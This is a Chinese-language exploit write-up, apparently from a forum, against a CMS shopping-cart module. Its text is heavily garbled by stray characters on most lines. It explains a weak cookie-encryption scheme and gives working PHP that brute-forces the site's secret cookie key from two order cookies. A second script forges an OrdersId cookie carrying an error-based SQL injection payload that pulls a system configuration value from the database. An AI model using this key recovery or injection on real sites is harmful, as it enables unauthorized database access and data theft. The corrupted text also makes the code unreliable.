www.xxx.com/plus/search.php?keyword=1 S8 A) p- W3 U1 _- F$ U. ^+ ] a
在 include/shopcar.class.php中
' l3 G8 [' W) d; b; `2 |( R8 M先看一下这个shopcar类是如何生成cookie的
& A- c. T& }8 C$ s( o239 function saveCookie($key,$value)
( x( @' V/ M4 s8 p240 {* @3 U$ |0 s4 l$ E% r
241 if(is_array($value))
; \0 v3 q' I: a F242 {
3 @. m& ~) X5 N' u% f- w243 $value = $this->enCrypt($this->enCode($value));
: i1 o; b. T* q0 p244 }
/ ~8 V4 P, B' q( u) \- X245 else8 M8 c% i2 n2 q$ h' g9 o2 c
246 {, B# p9 }: q+ d1 r7 ^ ]
247 $value = $this->enCrypt($value);
/ g+ q9 ^7 D y' n! b0 C8 ~' w; g248 }4 d" r( G8 g( F, d' B
249 setcookie($key,$value,time()+36000,’/');* T7 U$ u9 h0 w* u- v5 i
250 }
7 L3 q* q+ ^5 Q; {6 P7 _简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
$ c+ k* `% D; p$ R186 function enCrypt($txt)
4 Z/ K. @- t: S187 {
* `/ k5 h d% t% V1 p& o, f188 srand((double)microtime() * 1000000);
* F4 @, m8 i' ~% b. T( h189 $encrypt_key = md5(rand(0, 32000));, k6 O+ _2 \+ s6 X/ t' U) `+ Y; {; u
190 $ctr = 0;
3 [+ D' n5 u* O% |191 $tmp = ”;
& u8 W7 {3 P& j8 i, a192 for($i = 0; $i < strlen($txt); $i++)
5 m) h3 r$ y$ q193 {' b. P5 m7 Z4 R: r$ c, A* v
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 y2 E7 [0 @; c } v) [ L
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 [2 t( A P, k* }1 W
196 }( c0 l/ p# L( q; q
197 return base64_encode($this->setKey($tmp));
4 }1 m/ O' u" P" s* i! t" v' U' L; o198 }+ r S3 ~1 z& i) H: X' H8 T5 t7 q
213 function setKey($txt)3 i7 u: c! t9 M* Y4 k
214 {1 j# A$ i/ T: w. ]& ?% b* o+ P) {
215 global $cfg_cookie_encode;+ |$ W* c3 U( e$ c# u
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
( q# D8 d( k6 }217 $ctr = 0;
3 Q: e, @) x8 x% o8 O# v! M9 h218 $tmp = ”;
, F0 R- H2 \% @0 E+ D219 for($i = 0; $i < strlen($txt); $i++)
; }) V6 |. n8 F7 w$ j2 j( }7 J220 {
9 h6 o6 B, Y6 Z" g, K! Y221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
5 z ]/ `3 F0 A6 J. B5 s222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
# A5 n& N/ ?& h/ j: P8 l) V9 O223 }
$ w0 e" E6 Q& x! W$ E224 return $tmp;3 O1 T3 ~$ z( v0 t w V
225 }
' g4 b# h! N/ D* O I1 {enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的* I9 b; ?( R! Y+ R& a& G2 ]
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。6 |$ e- [+ k4 w* V" q7 M6 U7 {
具体代码如下:
' c5 J" K; q( R<?php3 p; l( s& H' {# I9 e
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here. t3 v. d6 D. j' v
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
+ p) H0 V# W' H! z7 F0 E/ Y$ C$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
! Z8 U6 ]" y5 u7 D3 A% w. lfunction reStrCode($code,$string)
) g0 n, t0 G1 P( U7 r{0 H9 J) x+ j- G S. C
$code = base64_decode($code);+ N5 A( J$ n: H) x
$key = “”;
' a6 `; L) P1 ^ l9 Q, C$ ffor($i=0 ; $i<32 ; $i++)* x. u1 [8 d: t9 P, {* e
{( C5 o8 Z9 H. | U
$key .= $string[$i] ^ $code[$i];) p( e/ C% j g0 d' d f1 r
}
. M; n/ X/ p3 S: ]return $key;3 k" t2 i* ^+ Z2 f! q
}. d ?* s5 w* J" A7 E: `
function getKeys($cookie,$plantxt)
: m1 m' }5 ]- m; o! o% ]% n7 ~- ^{
6 [' C1 f. s. A& J: l' U z5 b$tmp = $cookie;1 T# x0 r; N+ Y
$results = array();
% f; q0 a, _4 i- _8 d3 p' Lfor($j=0 ; $j < 32000; $j++)/ K u' @- J) l! r D2 S# K
{
- @$ Q( W0 [' Z; Z! S! J
- A9 I6 N7 [+ }: y3 t3 w( w$txt = $plantxt;% v A5 `( K# }( }
$ctr = 0;
. y; k: m: G B# f4 F% C- ?. |$tmp = ”;4 ]+ |6 Q' J0 t( _% z+ w& r; ?
$encrypt_key = md5($j);( n# S6 e5 y- J" I/ T. k) j
for($i =0; $i < strlen($txt); $i ++)5 e7 C4 c$ W1 ^4 M2 S
{' A# a) p" M+ s
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ ?9 f. P0 d9 _
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
7 m1 Q6 E6 x4 @% \}: ?+ x) W" b {9 t9 }1 X
$string = $tmp;0 R1 v0 S2 }/ K( I' @
$code = $cookie;
$ g; j- g" i8 z" c9 b$result = reStrCode($code,$string);% R' C) N! u5 g0 W2 T u7 ~+ x9 r! k
if(eregi(‘^[a-z0-9]+$’,$result))
) d3 R* {' ]; o8 T+ M! ?7 @{
* |+ f6 I4 o* Q ?: [echo $result.”\n”;
5 L+ ]( Y6 f5 J. {$results[] = $result;
7 r5 M1 e6 G) _& Y2 O4 G}3 C+ e8 p. p0 a3 {
}4 Y8 y. q/ ^& j! f& O" G+ H
return $results;
# z9 P" T4 D( D7 b}# f6 }: o/ q1 i8 I
$results1 = getKeys($cookie1,$plantxt);
8 ?# n7 _/ Z: H6 X# B4 @5 ]* j$ S$results2 = getKeys($cookie2,$plantxt);
8 O$ f7 y" r, B E# z. P& Eprint “\n——————–real key————————–\n”;
& C( ~3 J, R+ k3 [# ?4 iforeach($results1 as $test1)' `- m. v2 _/ q5 E
{
$ T) f" f- U% t5 v7 s/ nforeach($results2 as $test2)
0 Y, d) P n2 D* l4 Q; O{0 |8 ]9 Z4 d) H- D6 B; Y* L
if($test1 == $test2)0 G$ K/ d1 f- C+ M1 q4 Q% [
{
, v" f2 k: A) t: b0 w! eecho $test1.”\n”;
4 K% _# ^% q& R3 u, Q}* a* V# Y# v" c, x: Y( e U
}
5 {- A# m" C( p1 \8 q}5 r- w4 t7 r. a4 T
?>! g5 ?: \& A5 [9 @ k
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,/ O! u2 x" |# A+ y: X
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
2 D; W8 l0 T N5 j然后推算出md5(strtolower($cfg_cookie_encode))$ F7 X* ]9 }3 B2 i' ?. \6 L
得到这个key之后,我们就可以构造任意购物车的cookie
8 b( b1 T) r3 g- Z/ H Z接着看 x1 N( T; ]9 `& L/ P
20 class MemberShops
+ s% F/ d1 H% ^8 j- e2 ^1 w4 t' P$ W; }21 {
! ^- E W) E( z' m& X22 var $OrdersId;
& |+ n% p8 K5 ?% t, k( s( Y23 var $productsId;
" |3 h$ Z1 R0 ^( q+ C% f1 K248 X6 n! M9 w) z
25 function __construct()
8 U* `& b! x' W26 {
# v; Q: t( V) O5 B4 l27 $this->OrdersId = $this->getCookie(“OrdersId”);" j5 m+ R0 C+ |' K0 ?
28 if(empty($this->OrdersId))$ q% I, \/ r2 O9 C- c, h
29 {- X( p& O, ^. O$ }/ A9 v% A
30 $this->OrdersId = $this->MakeOrders();
3 u5 B% W* S* V( A, u( a* e) H31 }3 j7 w- @ @# H9 z# N& V
32 }
% Z' R& T% j; \# k$ i发现OrderId是从cookie里面获取的
- D! P9 e; J; G& P( @5 @然后: n5 `4 Q) n, h. m* M! I$ t
/plus/carbuyaction.php中的
3 d4 z; u' w3 B% | w, ~; w29 $cart = new MemberShops();
: }# d6 U7 `1 u' N' t: G: @39 $OrdersId = $cart->OrdersId; //本次记录的订单号; F2 X+ ], f, p1 U0 F1 s
……( I: O, y$ u) Y m, K: }
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);- V* ^5 @2 K1 {7 N
接着我们就可以注入了% d, v( w# `4 Y4 ~5 Z
通过利用下面代码生成cookie:
* g9 m% F: b+ ]& A<?php
6 c% h7 h9 Q o% N5 q: X$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;2 f( A5 H; k, W/ a; L
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
8 H. G1 B5 c% k) ^" Tfunction setKey($txt)
7 k2 o! i' Q- ~5 X{
* A, d( }$ S/ {& N# }0 Wglobal $encrypt_key;# Q7 {5 Y5 |8 v- m
$ctr = 0;6 ]8 z* Z2 C: p. {- y
$tmp = ”;% Y4 q/ R2 }0 v8 `' a. s% i
for($i = 0; $i < strlen($txt); $i++)6 O! i7 O$ G) [8 V: q
{. ^- U0 A- D7 M
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, f# \1 f' e, r- B9 Q3 R* \* M$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
5 N8 ~3 N$ t$ y. W1 B}1 ?2 Q" q2 u/ i( g& o% h2 J
return $tmp;
7 B2 z) w. v W: F}* Q3 t' u3 Y( e3 [6 u
function enCrypt($txt)
0 K: [" S+ H0 a/ L' \! X% m{! P3 X# B5 @$ ?& y
srand((double)microtime() * 1000000);
. _( f5 z; R" z/ S- A$encrypt_key = md5(rand(0, 32000));
; B, o* F9 q% m' ~2 F$ctr = 0;
4 c4 U4 n0 z+ r( _- F) W$tmp = ”;% R U/ E& v% L6 h
for($i = 0; $i < strlen($txt); $i++)8 d8 _% s" ?% L; P
{
5 o; z- }6 e, T0 Q0 g$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 v+ |" n: S, d, |0 `$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);5 R! N2 p9 f% k
}8 q0 t5 P$ A9 J
return base64_encode(setKey($tmp));1 P9 a7 p9 Q% G; H5 W
}# G0 Q- S0 B# R1 e3 Q* Q
for($dest =0;$dest = enCrypt($txt);)
5 |, S7 Y0 q. K5 ~4 F3 u{% W8 f8 y0 p) t8 m9 g
if(!strpos($dest,’+'))7 I& z4 w& e, `% a; H1 @
{" {% y* U- q# R3 V
break;& p- f7 ^6 S. v* p( @9 M) G3 m, V
}
! Y8 M5 j! q7 R# u8 h}. n4 e8 Q1 m( ^' ^! F
echo $dest.”\n”;
) n: S9 d" E2 w3 a- r# Q?>
( e& b, q, [- w* t( e2 t' K
2 }! |# r; A4 A$ N$ J4 {: K8 \' u |